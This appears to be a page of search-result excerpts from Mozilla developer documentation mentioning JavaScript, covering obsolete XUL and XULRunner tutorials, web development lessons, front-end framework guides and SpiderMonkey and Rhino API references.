...exobject("microsoft.xmldom"); g.async=false;g.loadxml(d);}else{g=new domparser().parsefromstring(d,"text/xml");}d=g.getelementsbytagname("root")[0];if(!d){return null;}for(var f=0,e=d.childnodes.length; f<e;f++){var h=element.clone(d.childnodes[f],true,true);if(h){a.grab(h);}}return a;})||a.set("html",c);},success:function(d){var c=this.options,b=this.response; b.html=d.stripscripts(function(e){b.javascript=e;});var a=this.processhtml(b.html);b.tree=a.childnodes;b.elements=a.getelements("*");if(c.filter){b.tree=b.elements.filter(c.filter); }if(c.update){document.id(c.update).empty().set("html",b.html);}else{if(c.append){document.id(c.append).adopt(a.getchildren());}}if(c.evalscripts){$exec(b.javascript); }this.onsuccess(b.tree,b.elements,b.html,b.javascript);}});element.properties.load={set:function...
Microsummary XML grammar reference - Archive of obsolete content
the <pages> element can contain zero or more <include> and <exclude> child elements, each of which must contain a valid javascript-compatible regular expression.
...see the reference core_javascript_1.5_reference:global_objects:regexp for the details of the regular expression syntax valid for generators and the tutorial creating regular expressions for a microsummary generator for step by step instructions to writing regular expressions that match urls.
...it must be a child of the <pages> element, and it must contain a javascript-compatible regular expression.
...it must be a child of the <pages> element, and it must contain a javascript-compatible regular expression.
Creating XPI Installer Modules - Archive of obsolete content
xul, javascript, or css files) in the chrome subdirectories and editing them with a text editor has been replaced by something a lot of developers find more confusing and esoteric.
...one of the buttons, labeled "show aphids", displays an alert dialog by calling a function defined in the javascript file barley.js.
...the javascript file barley.js contains a single function, bar(), defined as follows: function bar() { alert("aphids"); } if you want to use the same gif image that is used in the barley package, it can be grabbed from here.
...though mozilla will not display the file as a separate window (much less interpret it as a separate package), you ought to be able to see the image and the javascript function working as defined in barley.js (provided that both all three files are in the same working directory).
Using Remote XUL - Archive of obsolete content
after completing the tutorial you should understand how to: create xul documents; serve them from a web server; use cascading style sheets (css) to change their appearance; use javascript to define their behavior.
... prerequisites to understand this tutorial you should have experience with tag-based languages like html along with basic javascript, css, and the dom.
...for that we need to add javascript code.
... <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript"> function loadurl(event) { var contentframe = document.getelementbyid("contentframe"); var url = event.target.getattribute("value"); if (url) contentframe.setattribute("src", url); } </script> ...
Getting started with XULRunner - Archive of obsolete content
*/ pref("browser.dom.window.dump.enabled", true); pref("javascript.options.showinconsole", true); pref("javascript.options.strict", true); pref("nglayout.debug.disable_xul_cache", true); pref("nglayout.debug.disable_xul_fastload", true); xulrunner specific preferences include: toolkit.defaultchromeuri specifies the default window to open when the application is launched.
... main.xul: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="main" title="my app" width="300" height="300" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://myapp/content/main.js"/> <caption label="hello world"/> <separator/> <button label="more >>" oncommand="showmore();"/> <separator/> <description id="more-text" hidden="true">this is a simple xulrunner application.
... xul is simple to use and quite powerful and can even be used on mobile devices.</description> </window> note: make sure there is no extra whitespace at the beginning of the xml/xul file the application also has a javascript file.
... most xul applications will include some external javascript, so the sample application does too, just to show how to include it into the xul file.
Windows and menus in XULRunner - Archive of obsolete content
also notice the <script> element which is used to include the window’s javascript into the xul file.
... keeping css, dtd and javascript out of the xul file is considered a best practice.
...the oncommand event is hooked up to javascript, just like an onclick in html.
... the javascript is contained in the main.js file.
Sunbird Theme Tutorial - Archive of obsolete content
you also need knowledge of: using your operating system to create files and directories using the tools listed above css graphic design knowledge of xul, xbl and javascript is useful for advanced themes.
...the basic interface is written in xul, but some parts are constructed using xbl or javascript.
...to detect errors, choose tools – javascript console...
... the javascript console window displays css errors, not just javascript errors.
Scratchpad - Archive of obsolete content
as an alternative, starting in firefox 71, you can use the multi-line mode of the javascript console input.
... scratchpad provides an environment for experimenting with javascript code.
... unlike the web console, which is designed for interpreting a single line of code at a time, scratchpad lets you edit larger chunks of javascript code, then execute it in various ways depending on how you want to use the output.
... editing the scratchpad window looks something like this (on macos the menu bar is at the top of the screen): the file menu offers options to save and load javascript code snippets, so you can reuse code later if you like.
Introduction - Archive of obsolete content
variable declarations are not limited to one element, and as with all javascript, can span multiple lines.
... var element3 = <foo baz="1"/>; manipulating elements the goal of e4x was to provide an easier way for javascript programmers to manipulate an xml document, without going through the dom interfaces.
...the most basic is appendchild var element1 = <foo/>; var element2 = <bar/>; element1.appendchild(element2); which produces exactly the xml document you'd expect <foo> <bar/> </foo> javascript variables the true power of e4x only begins to come to light, however, when the xml document can interact closely with other javascript.
... with special syntax, we can assign the value of a javascript variable to be the value of an e4x element.
VBArray - Archive of obsolete content
the second part is javascript code that converts the visual basic safe array to a javascript array.
...the third part is the javascript code that goes in the <body> section to run the other two parts.
... <head> <script type="text/vbscript"> <!-- function createvbarray() dim i, j, k dim a(2, 2) k = 1 for i = 0 to 2 for j = 0 to 2 a(j, i) = k document.writeln(k) k = k + 1 next document.writeln("<br />") next createvbarray = a end function --> </script> <script type="text/javascript"> <!-- function vbarraytest(vbarray){ var a = new vbarray(vbarray); var b = a.toarray(); var i; for (i = 0; i < 9; i++) { document.writeln(b[i]); } } --> </script> </head> <body> <script type="text/javascript"> <!-- vbarraytest(createvbarray()); --> </script> </body> properties the vbarray object has no properties.
... vbarray.toarray returns a standard javascript array converted from a vbarray.
LiveConnect Reference - Archive of obsolete content
javascript-to-java these classes allow a java object to access javascript code.
... jsexception the public class jsexception extends runtimeexception, and is thrown when javascript returns an error.
...javascript objects are wrapped in an instance of the class jsobject and passed to java, allowing java to manipulate javascript objects.
... java-to-javascript global objects java packages netscape sun javaarray javaclass javaobject javapackage ...
The Business Benefits of Web Standards - Archive of obsolete content
dynamic effects such as those created by javascript are not taken into account, and text rendered with graphics cannot be read and parsed either.
... benefits of css over javascript specifically, graphics and javascript are often used for special effects on text fragments.
... as style sheet technology gives designers good typographic control and permits effects such as roll-overs, it greatly reduces the need for javascript programming and creation of graphics.
...all these great experiences can be enjoyed by the user regardless of platform, software, operating system, or any one of a dozen other variables including screen size, text resolution, javascript activation, or any disabilty the user may have.
GLSL Shaders - Game development
glsl is not as intuitive as javascript.
... the third one will contain the actual javascript code generating the scene.
... go to the cube.html file on github, copy all the javascript code from inside the second <script> element, and paste it into the third <script> element of the current example.
...thub.io/mdn-games-3d/shaders/js/three.min.js"></script> <script id="vertexshader" type="x-shader/x-vertex"> void main() { gl_position = projectionmatrix * modelviewmatrix * vec4(position.x+10.0, position.y, position.z+5.0, 1.0); } </script> <script id="fragmentshader" type="x-shader/x-fragment"> void main() { gl_fragcolor = vec4(0.0, 0.58, 0.86, 1.0); } </script> javascript var width = window.innerwidth; var height = window.innerheight; var renderer = new three.webglrenderer({antialias:true}); renderer.setsize(width, height); renderer.setclearcolor(0xdddddd, 1); document.body.appendchild(renderer.domelement); var scene = new three.scene(); var camera = new three.perspectivecamera(70, width/height); camera.position.z = 50; ...
Audio for Web games - Game development
jumping to, playing, and then pausing that silence will mean we can now use javascript to play that file at arbitrary points.
... let's add some javascript to make this work: var myaudio = document.getelementbyid('myaudio'); var buttons = document.getelementsbytagname('button'); var stoptime = 0; for (var i = 0; i < buttons.length; i++) { buttons[i].addeventlistener('click', function() { myaudio.currenttime = this.getattribute("data-start"); stoptime = this.getattribute("data-stop"); myaudio.play(); }, false); } myaudio.addeventli...
...the web audio api is an advanced audio javascript api that is ideal for game audio.
...we can do this with javascript's async/await functionality.
Unconventional controls - Game development
leapmotion is becoming more and more popular due to very good integration with vr headsets — demoing rainbow membrane on an oculus rift with leap motion attached to it was voted one of the best webvr experiences by javascript developers visiting demo booths at conferences around the world.
... there's good hello world and getting started javascript tutorials available on the leap motion documentation pages, which will get you through the basics.
...be sure to visit the leapjs repository on github to learn about the javascript client for the leap motion controller and read the documentation there.
...the last value is grabstrength, which is a float between 0 and 1 — when reaching 1 (fist fully clenched), we show an alert for now (in a full game this could be replaced with the shooting logic.) that's it — everything you needed for a working leap motion example in javascript is here already.
2D maze game with device orientation - Game development
basic javascript knowledge is recommended to get the most from this tutorial.
... src: the javascript files with all the source code of the game defined inside.
...add('boot', ball.boot); game.state.add('preloader', ball.preloader); game.state.add('mainmenu', ball.mainmenu); game.state.add('howto', ball.howto); game.state.add('game', ball.game); game.state.start('boot'); })(); </script> </body> </html> so far we have a simple html website with some basic content in the <head> section: charset, title, css styling and the inclusion of the javascript files.
... managing game states the states in phaser are separate parts of the game logic; in our case we’re loading them from independent javascript files for better maintainability.
Boolean - MDN Web Docs Glossary: Definitions of Web-related terms
for example, in javascript, boolean conditionals are often used to decide which sections of code to execute (such as in if statements) or repeat (such as in for loops).
... below is some javascript pseudocode (it's not truly executable code) demonstrating this concept.
... /* javascript if statement */ if (boolean conditional) { // code to execute if the conditional is true } if (boolean conditional) { console.log("boolean conditional resolved to true"); } else { console.log("boolean conditional resolved to false"); } /* javascript for loop */ for (control variable; boolean conditional; counter) { // code to execute repeatedly if the conditional is true } for (var i=0; i < 4; i++) { console.log("i print only when the boolean conditional is true"); } the boolean value is named after english mathematician george boole, who pioneered the field of mathematical logic.
... learn more general knowledge boolean on wikipedia technical reference the javascript global object: boolean javascript data types and data structures ...
Sloppy mode - MDN Web Docs Glossary: Definitions of Web-related terms
ecmascript 5 and later let scripts opt in to a new strict mode, which alters the semantics of javascript in several ways to improve its resiliency and which make it easier to understand what's going on when there are problems.
... the normal, non-strict mode of javascript is sometimes referred to as sloppy mode.
... this isn't an official designation, but you are likely to come across it if you spend time doing serious javascript code.
... learn more general knowledge "strict mode" in chapter 7 ("javascript syntax") in the book speaking javascript.
Debugging CSS - Learn web development
the browser will also normalize all of the html, and the dom will also show any changes made by javascript.
...you could start by doing view source on the page and copying the html into codepen, then grab any relevant css and javascript and include it too.
... if removing the javascript does not make the issue go away, don't include the javascript.
... if removing the javascript does make the issue go away, then remove as much javascript as you can, leaving in whatever causes the issue.
Basic native form controls - Learn web development
all rich text editors you'll encounter are custom widgets created with html, css, and javascript.
...the value can be dynamically set via javascript.
... button buttons that have no automatic effect but can be customized using javascript code.
... previous overview: forms next in this module your first form how to structure a web form basic native form controls the html5 input types other form controls styling web forms advanced form styling ui pseudo-classes client-side form validation sending form data advanced topics how to build custom form controls sending forms through javascript property compatibility table for form widgets ...
The HTML5 input types - Learn web development
to actually display the current value, and update it as it changed, you must use javascript, but this is relatively easy to do: const price = document.queryselector('#price'); const output = document.queryselector('.price-output'); output.textcontent = price.value; price.addeventlistener('input', function() { output.textcontent = price.value; }); here we store references to the range input and the output in two variables.
... the reference pages linked to above provide suggestions on how to program fallbacks for non-supporting browsers; another option is to consider using a javascript library to provide a date picker.
... most modern frameworks have good components available to provide this functionality, and there are standalone libraries available too (see top date picker javascript plugins and libraries for some suggestions).
... previous overview: forms next in this module your first form how to structure a web form basic native form controls the html5 input types other form controls styling web forms advanced form styling ui pseudo-classes client-side form validation sending form data advanced topics how to build custom form controls sending forms through javascript property compatibility table for form widgets ...
Adding vector graphics to the Web - Learn web development
svgs lend themselves well to styling/scripting, because each component of the image is an element that can be styled via css or scripted via javascript.
... cons you cannot manipulate the image with javascript.
...in the below code, older browsers will stick with the png that they understand, while newer browsers will load the svg: background: url("fallback.png") no-repeat center; background-image: url("image.svg"); background-size: contain; like the <img> method described above, inserting svgs using css background images means that the svg can't be manipulated with javascript, and is also subject to the same css limitations.
... moreover, unless the svg and your current webpage have the same origin, you cannot use javascript on your main webpage to manipulate the svg.
Responsive images - Learn web development
note: when testing this with a desktop browser, if the browser fails to load the narrower images when you've got its window set to the narrowest width, have a look at what the viewport is (you can approximate it by going into the browser's javascript console and typing in document.queryselector('html').clientwidth).
... why can't we just do this using css or javascript?
... when the browser starts to load a page, it starts to download (preload) any images before the main parser has started to load and interpret the page's css and javascript.
...for example, you couldn't load the <img> element, then detect the viewport width with javascript, and then dynamically change the source image to a smaller one if desired.
Video and audio content - Learn web development
fortunately, a few years later the html5 specification had such features added, with the <video> and <audio> elements, and some shiny new javascript apis for controlling them.
... we'll not be looking at javascript here — just the basic foundations that can be achieved with html.
... controls users must be able to control video and audio playback (it's especially critical for people who have epilepsy.) you must either use the controls attribute to include the browser's own control interface, or build your interface using the appropriate javascript api.
...you can find the example that goes along with this article on github, written by ian devlin (see the source code too.) this example uses some javascript to allow users to choose between different subtitles.
Graceful asynchronous programming with Promises - Learn web development
previous overview: asynchronous next promises are a comparatively new feature of the javascript language that allow you to defer further actions until after a previous action has completed, or respond to its failure.
... prerequisites: basic computer literacy, a reasonable understanding of javascript fundamentals.
...this can be done like so — add the following lines below your first line of javascript.
...promises will be more and more important as time goes on, so learning to use and understand them is an important step in learning modern javascript.
Build your own function - Learn web development
prerequisites: basic computer literacy, a basic understanding of html and css, javascript first steps, functions — reusable blocks of code.
...type the following in your browser's javascript console, on any page you like: alert('this is a message'); the alert function takes a single argument — the string that is displayed in the alert box.
...we've also provided some basic css to style the custom message box, and an empty <script> element to put our javascript in.
... now open your browser developer tools on the example page, go to the javascript console and type the line again there, you'll see it appear again!
Client-side web APIs - Learn web development
when writing client-side javascript for web sites or applications, you will quickly encounter application programming interfaces (apis).
... get started prerequisites to get the most out of this module, you should have worked your way through the previous javascript modules in the series (first steps, building blocks, and javascript objects).
... those modules typically involve simple api usage, as it is often difficult to write client-side javascript examples without them.
... for this tutorial, we will assume that you are knowledgable about the core javascript language, and we will explore common web apis in a bit more detail.
Ember Interactivity: Footer functionality, conditional rendering - Learn web development
previous overview: client-side javascript frameworks next now it's time to start tackling the footer functionality in our app.
... prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line.
... a deeper understanding of modern javascript features (such as classes, modules, etc), will be extremely beneficial, as ember makes heavy use of them.
... previous overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting started with e...
Ember app structure and componentization - Learn web development
previous overview: client-side javascript frameworks next in this article we'll get right on with planning out the structure of our todomvc ember app, adding in the html for it, and then breaking that html structure into components.
... prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line.
... a deeper understanding of modern javascript features (such as classes, modules, etc), will be extremely beneficial, as ember makes heavy use of them.
... previous overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting started with e...
Accessibility in React - Learn web development
previous overview: client-side javascript frameworks next in our final tutorial article, we'll focus on (pun intended) accessibility, including focus management in react, which can improve usability and reduce confusion for both keyboard-only and screenreader users.
... prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line.
...this means only focusable with javascript.
... previous overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting started with e...
React interactivity: Editing, filtering, conditional rendering - Learn web development
previous overview: client-side javascript frameworks next as we near the end of our react journey (for now at least), we'll add the finishing touches to the main areas of functionality in our todo list app.
... prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line.
... a javascript object would be a great way to relate names to behaviors: each key is the name of a filter; each property is the behavior associated with that name.
... previous overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting started with e...
Beginning our React todo list - Learn web development
previous overview: client-side javascript frameworks next let's say that we’ve been tasked with creating a proof-of-concept in react – an app that allows users to add, edit, and delete tasks they want to work on, and also mark tasks as complete without deleting them.
... prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line.
...remember — this is actually javascript, not html!
... previous overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting started with e...
Componentizing our Svelte app - Learn web development
previous overview: client-side javascript frameworks next in the last article we started developing our todo list app.
... prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line.
...a component is a reusable, self-contained block of code that encapsulates html, css and javascript that belong together, written into a .svelte file.
... previous overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting started with e...
Using Vue computed properties - Learn web development
previous overview: client-side javascript frameworks next in this article we'll add a counter that displays the number of completed todo items, using a feature of vue called computed properties.
... prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line.
... vue components are written as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure.
... previous overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting started with e...
Vue resources - Learn web development
previous overview: client-side javascript frameworks next now we'll round off our study of vue by giving you a list of resources that you can use to go further in your learning, plus some other useful tips.
... prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line.
... vue components are written as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure.
... previous overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting started with e...
Styling Vue components with CSS - Learn web development
previous overview: client-side javascript frameworks next the time has finally come to make our app look a bit nicer.
... prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line.
... vue components are written as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure.
... previous overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting started with e...
Strategies for carrying out testing - Learn web development
wser testing next this article starts the module off by providing an overview of the topic of (cross) browser testing, answering questions such as "what is cross-browser testing?", "what are the most common types of problems you'll encounter?", and "what are the main approaches for testing, identifying, and fixing problems?" prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high level principles of cross-browser testing.
...opera mini is also significant, but it isn't very capable in terms of running complex javascript at runtime, etc (see opera mini and javascript for more details).
...maybe we could use some javascript to implement a keyboard control for the toggle, or use some other method entirely?
... previous overview: cross browser testing next in this module introduction to cross-browser testing strategies for carrying out testing handling common html and css problems handling common javascript problems handling common accessibility problems implementing feature detection introduction to automated testing setting up your own test automation environment ...
Tools and testing - Learn web development
once you've started to become comfortable programming with core web technologies (like html, css, and javascript), and you start to get more experience, read more resources, and learn more tips and tricks, you'll start to come across all kind of tools, from javascript frameworks, to testing and automation tools, and more besides.
... get started prerequisites you should really learn the basics of the core html, css, and javascript languages first before attempting to use many the tools detailed here.
... for example, you'll need to know the fundamentals of these languages before you start debugging problems in complex web code, making effective use of javascript frameworks, or writing tests and running them against your code using test runners.
... understanding client-side javascript frameworks javascript frameworks are an essential part of modern front-end web development, providing developers with tried and tested tools for building scalable, interactive web applications.
Adding APIs to the navigator object
simply add an entry to the "javascript-navigator-property" category.
...you can read about creating and registering xpcom components in javascript.
... programmatically adding an object to navigator var categorymanager = components.classes["@mozilla.org/categorymanager;1"] .getservice(components.interfaces.nsicategorymanager); categorymanager.addcategoryentry("javascript-navigator-property", "myapi", my_contract_id, false, true); this adds a new object, myapi, to the window.navigator object.
... using a manifest to add an object to navigator you can also add an object to the window.navigator object by using the chrome manifest of an add-on: component {ffffffff-ffff-ffff-ffff-ffffffffffff} mycomponent.js contract @mozilla.org/mycomponent;1 {ffffffff-ffff-ffff-ffff-ffffffffffff} category javascript-navigator-property mycomponent @mozilla.org/mycomponent;1 generate a guid and replace the "ffff" sections in both the component and contract lines with your guid.
Following the Android Toasts Tutorial from a JNI Perspective
context context = getapplicationcontext(); charsequence text = "hello, firefox!"; int duration = toast.length_short; toast toast = toast.maketext(context, text, duration); toast.show(); nativewindow code as mentioned earlier, toasts are a very popular feature, so mozilla developers chose to bring it to the privileged javascript scope via the nativewindow object.
... the java code example above can be done with privileged javascript from firefox for android with the following code: window.nativewindow.toast.show("hello, firefox!", "short"); converting java to jni.jsm the first step is to look at the java code and see all the different types, methods, constructors, and fields that are being used.
...the sig's will be represented as javascript strings in jni.jsm, and the sig's of the types are as follows: java type signature boolean z byte b char c class/object lclass name in slash notation here; double d float f int i long j short s void v array of type [sig here method format (sig o...
...this is special: because a charsequence is an array of byte characters, we can pass simple javascript strings to jni.jsm wherever a charsequence is needed.
NetUtil.jsm
the netutil.jsm javascript code module provides easy-to-use apis for performing common network related tasks.
... to use these utilities, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/netutil.jsm"); once you've imported the module, you can then use its methods.
...this is a javascript object with fields as specified in options.
... options the aoptions parameter is a javascript object which can have any or all of the following fields: field name description charset the character encoding to use when interpreting the input stream.
Basics
you can also do other weird and risky things which are not portable, bongo warns, such as mixing mathml with other markups lizard + bongo = ∫ a b d x + mathml and javascript html content <p> and you can turn to javascript and the dom for dynamic operations.
...th class="inputmath" display="block"> <mrow> <mi>a</mi> <mo>=</mo> <mo>[</mo> <mtable> <mtr> <mtd><mn>1</mn></mtd> <mtd> <mtext><input id="input12" value="?" size="1"/></mtext> </mtd> </mtr> <mtr> <mtd> <mtext><input id="input21" value="?" size="1"/></mtext> </mtd> <mtd><mn>4</mn></mtd> </mtr> </mtable> <mo>]</mo> </mrow> </math> <div style="text-align:center"> left size: <a class="control" href="javascript:incrementinput('input21', 1);" title="increase input">+</a> <a class="control" href="javascript:incrementinput('input21',-1);" title="decrease input">-</a> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; right size: <a class="control" href="javascript:incrementinput('input12', 1);" title="increase input">+</a> <a class="control" href="javascript:incrementinput('input12',-1);" title="decrease input"...
...you can also <a href="javascript:unexpand();">unexpand all</a> or <a href="javascript:expand();">expand all</a>.
...n> <mo>&invisibletimes;</mo> <mi>x</mi> <mo>&invisibletimes;</mo> <msup> <mi>y</mi> <mn>4</mn> </msup> </mrow> <mo>+</mo> <msup> <mi>y</mi> <mn>5</mn> </msup> </mrow> </maction> </mtd> </mtr> </mtable> </mtd> </mtr> </mtable> </math> </div> css content .control { text-decoration: none; font-weight: bold; font-size: 200%; } input { color: red; } [class="inputmath"] { border: 1px dotted; } javascript content function setselection(id,value) { document.getelementbyid(id).setattribute("selection",value); } function expand() { setselection("a11","2"); setselection("a12","2"); setselection("a13","2"); setselection("a21","2"); setselection("a22","2"); setselection("a23","2"); setselection("a31","2"); setselection("a32","2"); setselection("a33","2"); setselection("a41","2"); setsele...
Mozilla projects on GitHub
project name description pdf.js a portable document format (pdf) reader written entirely in javascript.
... shumway shumway is a flash vm and runtime written in javascript.
... emscripten the emscripten llvm-to-javascript compiler.
... pluotsorbet a j2me-compatible virtual machine written in javascript.
JS::PerfMeasurement
perfmeasurement* js::extractperfmeasurement(jsval wrapper) if you are the c++ side of an xpcom interface, and you want to benchmark only part of your execution time but make the results available to javascript, you can declare a bare jsval argument in your .idl file and have javascript pass a perfmeasurement object that it created in that argument slot.
... the jsval you receive points to a javascript wrapper object.
... it will return null if javascript passed in something with the wrong dynamic type.
... it initializes the javascript wrapper interface for this api and pokes the constructor function into the global object you provide.
about:memory
the "window-objects" sub-tree represents all javascript window objects, which includes the browser tabs and ui windows.
... within each window's measurements are sub-trees for javascript ("js-compartment(...)" and "js-zone(...)"), layout, style-sheets, the dom, and other things.
... the "js-non-window" sub-tree represents javascript memory usage that doesn't come from windows, but from the browser core.
... all javascript memory usage for an add-on is measured separately and shown in this sub-tree.
NSS tools : signtool
-j directory specifies a special javascript directory.
... this option causes the specified directory to be signed and tags its entries as inline javascript.
... -j signs a directory of html files containing javascript and creates as many archive files as are specified in the html tags.
... javascriptdir same as -j option.
Small Footprint
tools most embeddings won't need any of the classes in org.mozilla.javascript.tools or any of its sub-packages.
... optimizer it is possible to run rhino with interpreter mode only, allowing you to remove code for classfile generation that include all the classes from <tt>org.mozilla.javascript.optimizer</tt> package.
...removing org.mozilla.javascript.javaadapter will disable this functionality, but rhino will otherwise run correctly.
... regular expressions the package org.mozilla.javascript.regexp can be removed.
Rhino history
rhino gets its name from the animal on the cover of the o'reilly book about javascript.
...at the time, netscape was planning to produce a version of navigator written entirely in java and so it needed an implementation of javascript written in java.
... originally, rhino compiled all javascript code to java bytecodes in generated classfiles.
... this produced the best performance (often beating the c implementation of javascript when run on a jit), but suffered from two faults.
Bytecodes
background spidermonkey bytecodes are the canonical form of code representation that is used in the javascript engine.
... the javascript frontend constructs an ast from the source text, then emits stack-based bytecodes from that ast as a part of the jsscript data structure.
...a frame on the stack has space for javascript values (the tagged value format) in a few different categories.
... the space for a single javascript value is called a "slot", so the categories are: argument slots: holds the actual arguments passed to the current frame.
Statistics API
the browser preference javascript.options.mem.log controls dumping of human-readable gc stats messages to the developer console.
... the browser preference javascript.options.mem.notify controls emission of json encoded gc stats to an observer interface.
... var prefs = require("api-utils/preferences-service"); components.utils.import('resource://gre/modules/services.jsm'); function observer(subject, topic, json) { var data = json.parse(json); // process the data } prefs.set("javascript.options.mem.notify", true); services.obs.addobserver(observer, "garbage-collection-statistics", false); the toplevel json object contains these fields: timestamp: integer (microseconds) - time at which the gc ended, measured from epoch.
... allocated: integer (mb) - size of the javascript heap in mib at the start of the gc.
JSClass
a jsclass describes a class of javascript objects.
... it implements the object's [[defaultvalue]] hook, which is invoked by javascript when the object must be converted to a string, number, or primitive value.
... description use jsclass to define a custom class of javascript objects.
...the javascript engine never touches the private data; it is for the application's use only.) void printer_finalize(jscontext *cx, jsobject *obj) { myprinter *p = (myprinter *) js_getprivate(cx, obj); delete p; } static jsclass printer_class = { "printer", jsclass_has_private, null, null, null, null, null, null, null, printer_finalize }; /* spidermonkey 31 or older * static jsclass pr...
JSFastNative
obsolete since javascript 1.8.5this feature is obsolete.
... the term "native" here refers to c/c++ code as opposed to javascript code.
...in js_threadsafe builds, the javascript engine calls this callback only from within an active request on cx.
...however, it causes the function not to appear on the stack in javascript debuggers.
JSPropertyOp
in js_threadsafe builds, the javascript engine calls this callback only from within an active request on cx.
...the getter callback is called each time javascript code accesses the property's value using the syntax obj.prop or obj[propname].
...the setter callback is called each time javascript code assigns to the property using any assignment operator (=, +=, etc.) or the ++ or -- operators.
...note that in javascript, an object can inherit properties from its prototype.
JS_DefinePropertyWithTinyId
any time the javascript engine would pass the name of the property as a string to the id parameter of a tiny-id-aware callback, it passes int_to_jsval(tinyid) instead.
...tiny ids only affect the ids passed to these hooks; the javascript engine does not use them as property names internally.
...for example, if a property named "color" is defined with tiny id 10, then the javascript expressions obj[10] and obj.color will both result in int_to_jsval(10) being passed to jsclass.getproperty as the id parameter.
... per-property getters and setters do not suffer from this confusion: in the above example, obj.color would cause the javascript engine to call the getter for the color property, but obj[10] wouldn't.
JS_GetFunctionFlags
retrieve the function flags of a given javascript function.
... description js_getfunctionflags retrieves the function flags of a given javascript function, fun.
... these flags are for the javascript engine’s internal use.
... jsfun_lambda the function is a javascript function written as a functionexpression rather than a functiondeclaration, a syntactic distinction.
JS_GetVersion
retrieves the javascript version number used within a specified executable script context.
... description js_getversion returns the javascript version currently used by the given jscontext, cx.
...scripts are compiled using the latest version of the javascript language.
... to configure a context to run scripts using a specific version of javascript, use js_setversion.
JS_MakeStringImmutable
obsolete since javascript 1.8.5this feature is obsolete.
... description a string's characters can never be changed, but spidermonkey uses two string optimization techniques behind the scenes: a growable string (see js_newgrowablestring ) has a buffer that the javascript engine can reallocate so that concatenating it with another string is much faster.
... in both cases, the javascript engine may change the fields of the jsstring.
...(when an application shares a string by storing it in a javascript object that another thread can read, the javascript engine automatically makes the string thread-safe.) after a successful call to js_makestringimmutable, subsequent calls to js_getstringcharsz on the same string are guaranteed to succeed, and subsequent calls to js_getstringchars on the same string are guaranteed to return a null-terminated string.
JS_NewObject
creates a new javascript object.
...if this is null, an ordinary javascript object is created.
...the javascript engine selects a prototype object for you.
...however, although javascript code can freely redefine constructors, the ecmascript standard requires us in certain cases to use the original constructors' prototypes.
JS_NewStringCopyZ
create a new javascript string based on a null-terminated c string.
... description js_newstringcopyz allocates space for a new javascript string and its underlying storage, and then copies the contents of a null-terminated character array, s, into the new string.
... on success, js_newstringcopyz returns a pointer to the new javascript string.
...if s is null, an empty javascript string is returned.
JS_ReportErrorNumber
the javascript engine passes this pointer to errorcallback.
...the javascript engine passes this number to errorcallback.
...the source code seems to say we ignore the .exntype, actually, but surely i'm just missing something.) otherwise, if any javascript code is running in cx (for example, if the caller is a jsnative that was called from a script), then an error object is created and becomes the pending exception.
...otherwise, no javascript code is running in cx.
JS_SetBranchCallback
obsolete since javascript 1.9.1this feature is obsolete.
...in js_threadsafe builds, the javascript engine calls this callback only from within an active request on cx.
... if the callback raises an exception using js_setpendingexception() and returns js_false, then the javascript engine propagates the exception to the script that was executing at the time.
... if the callback returns js_false without raising an exception, then the javascript engine immediately stops running the script with an uncatchable error.
SpiderMonkey 52
the mozilla javascript team is pleased to announce the release of spidermonkey 52.
... spidermonkey 52 is the javascript engine that shipped in firefox 52.
...or file bugs at bugzilla.mozilla.org under product: core, component: javascript engine.
... platform support migrating to spidermonkey 52 new javascript language features new c++ apis deleted apis api changes known issues ...
XML Extras
the module is structured as a drop-in component and exposes its xml-as-data features both to javascript and c++/xpcom users.
